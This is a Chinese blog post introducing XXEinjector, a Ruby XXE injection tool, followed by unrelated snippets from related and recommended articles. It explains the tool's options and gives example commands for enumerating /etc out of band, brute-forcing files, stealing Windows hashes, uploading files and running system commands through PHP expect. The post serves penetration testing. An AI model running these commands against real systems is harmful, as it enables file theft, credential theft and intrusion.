7.XXEinjector:一款功能强大的自动化XXE注射工具
今天给大家介绍的是一款名叫XXEinjector的漏洞利用工具,XXEinjector是一款基于Ruby的XXE注入工具,
它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解
攻击需要使用到其他应用程序。
XXEinjector注入工具的使用
XXEinjector本身提供了非常非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,
以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。
这里建议在kali环境下运行。
基本参数详解:
--host 必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)
--file 必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
--path 必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
--brute 必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)
--logger 记录输出结果。
--rhost 远程主机IP或域名地址。(--rhost=192.168.0.3)
--rport 远程主机的TCP端口信息。(--rport=8080)
--phpfilter 在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc 使用netdoc协议。(Java).
--enumports 枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)
--hashes 窃取运行当前应用程序用户的Windows哈希。
--expect 使用PHP expect扩展执行任意系统命令。(--expect=ls)
--upload 使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)
--xslt XSLT注入测试。
--ssl 使用SSL。
--proxy 使用代理。(--proxy=127.0.0.1:8080)
--httpport Set自定义HTTP端口。(--httpport=80)
--ftpport 设置自定义FTP端口。(--ftpport=21)
--gopherport 设置自定义gopher端口。(--gopherport=70)
--jarport 设置自定义文件上传端口。(--jarport=1337)
--xsltport 设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
--test 该模式可用于测试请求的有效。
--urlencode URL编码,默认为URI。
--output 爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
--timeout 设置接收文件/目录内容的Timeout。(--timeout=20)
--contimeout 设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
--fast 跳过枚举询问,有可能出现结果假阳性。
--verbose 显示verbose信息。
如果你现在还对XXE攻击不是很了解的话,推荐大家先阅读下面这篇文章:《XXE注入攻击-XML外部实体漏洞及样本分析》。
XXEinjector使用样例
枚举HTTPS应用程序中的/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
使用gopher(OOB方法)枚举/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
二次漏洞利用:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
使用HTTP带外方法和netdoc协议对文件进行爆破攻击:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
通过直接性漏洞利用方式进行资源枚举:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
枚举未过滤的端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
窃取Windows哈希:
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
使用Java jar上传文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
使用PHP expect执行系统指令:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
测试XSLT注入:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
记录请求信息:
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
XXEinjector下载地址:
这里也给出github地址:https://github.com/enjoiz/XXEinjector
7.XXEinjector:一款功能强大的自动化XXE注射工具的更多相关文章
- [推荐] kylinPET是一款功能强大的性能测试工具
		[推荐] kylinPET是一款功能强大的性能测试工具 官方网站: http://www.kylinpet.com/ 
- 一款功能强大的iphone购物应用源码
		一款功能强大的iphone购物应用源码,这款应用源码比较完整的,并且还支持信用卡支付服务等功能的,基本实现了我们常用的购物应用功能了,实现商品的基本展示功能,还具有完整的用户管理,以及完整的购物流程等 ... 
- Fibratus:一款功能强大的Windows内核漏洞利用和跟踪工具
		今天给大家介绍的是一款名叫Fibratus的开源工具,广大研究人员可以使用这款功能强大的工具来进行Windows内核漏洞利用.挖掘与跟踪. Fibratus这款工具能够捕捉到绝大多数的Windows内 ... 
- Lingoes 一款功能强大、简明易用的多语言词典和文本翻译软件
		Lingoes 软件自述 Lingoes 是一款功能强大.简明易用的多语言词典和文本翻译软件,支持多达80种语言互查互译,这些语言包括 英.法.德.意.俄.中.日.韩.西.葡.阿拉伯语 及更多... ... 
- Enumy:一款功能强大的Linux后渗透提权枚举工具
		Enumy是一款功能强大的Linux后渗透提权枚举工具,该工具是一个速度非常快的可移植可执行文件,广大研究人员可以在针对Linux设备的渗透测试以及CTF的后渗透阶段利用该工具实现权限提升,而Enum ... 
- 一款功能强悍的web磁盘管理工具 (A powerful web disk management tools)
		https://github.com/kingAnyWHere/web-ftp web-ftp 一款功能强悍的web磁盘管理工具 (A powerful web disk management too ... 
- 三款功能强大代码比较工具Beyond compare、DiffMerge、WinMerge
		我们经常会遇到需要比较同一文件的不同版本,特别是代码文件.如果人工去对比查看,势必费时实力还会出现纰漏和错误,因此我们需要借助一些代码比较的工具来自动完成这些工作.这里介绍3款比较流行且功能强大的工具 ... 
- 推荐一款功能强大的Tomcat 管理监控工具,可替代Tomcat Manager
		我们在本地启动Tomcat服务器后,用localhost:访问: 再点Manager App,即可进入Tomcat自带的Manager这个应用,此处可以单独部署/卸载每一个应用.可以看到在Manage ... 
- 一款功能强大的TCP/UDP工具---flynet
		前言 前段时间做某个项目,由于涉及到tcp/udp方面的知识比较多,于是就索性趁热打铁,写个工具来强化相关知识.另外由于并非十分擅长Golang,所以也顺便再了解下Golang吧. 简介 flynet ... 
随机推荐
- bigdecimal类型除法问题
			坑:bigdecimal类型做除法运算时,结果为整数或有限小数时候不存在问题,若结果无法整除,为无限小数时报错 错误代码: Bigdecimal b = a.divide(c).setScale(5 ... 
- Python 运算符(算术运算符(+,-,*,**,/,//),逻辑运算符(not , or ,and),比较运算符(>,<,>=,=<),复合运算符(+=,-=,*=,/=,**=,//=))
			# 一.算术运算符(+,-,*,**, /, //, %) # 加法运算符+ print(1 + 2) # 字符串相连 ") # 重载 print([1,2] + [3,4]) # 幂运算* ... 
- 字节和unicode
			一.字节和unicode Java内核是unicode的,就连class文件也是,但是很多媒体,包括文件/流的保存方式是使用字节流的.因此Java要对这些字节流经行转化. char是unicode的, ... 
- 修改myEclipse2014web项目名称
			重命名项目名称后 右键点击你的项目,然后选择属性---->然后点击myeclipse—>Project Facets—> web 选项,修改web context-root名称为你要 ... 
- spring boot: scope (一般注入说明(一) @Autowired注解)
			实例一: DiConfig 文件: package di; import org.springframework.context.annotation.ComponentScan; import or ... 
- 分享知识-快乐自己:大数据(hadoop)环境搭建
			大数据 hadoop 环境搭建: 一):大数据(hadoop)初始化环境搭建 二):大数据(hadoop)环境搭建 三):运行wordcount案例 四):揭秘HDFS 五):揭秘MapReduce ... 
- Java企业微信开发_05_消息推送之被动回复消息
			一.本节要点 1.消息的加解密 微信加解密包 下载地址:http://qydev.weixin.qq.com/java.zip ,此包中封装好了AES加解密方法,直接调用方法即可. 其中,解 ... 
- Java微信开发_Exception_03_errcode:48001 errmsg:api unauthorized hint
			创建菜单时出现这个异常, 异常信息:errcode:48001 errmsg:api unauthorized hint 解读:调用的接口没有权限. 回去公众号后台一看,发现真的没有自定义菜单的权限, ... 
- Post提交和Get提交的区别
			表单提交中get和post的区别 1. get: 把表单内各个字段均显示在URL中. post:把表单内各个字段和内容放在html的header内一起传递给action所指的url,用户看不到. 2. ... 
- ffmpeg 翻译文档
			ffmpeg 翻译文档 (参考源文件ffmpeg-all 包含重要组件) 目录: 1 命令语法 2 描概览 3 详细说明 4 流的选择(指定) 5 选项 技提示(原版已废弃) 6 例子 7 语法 8 ... 
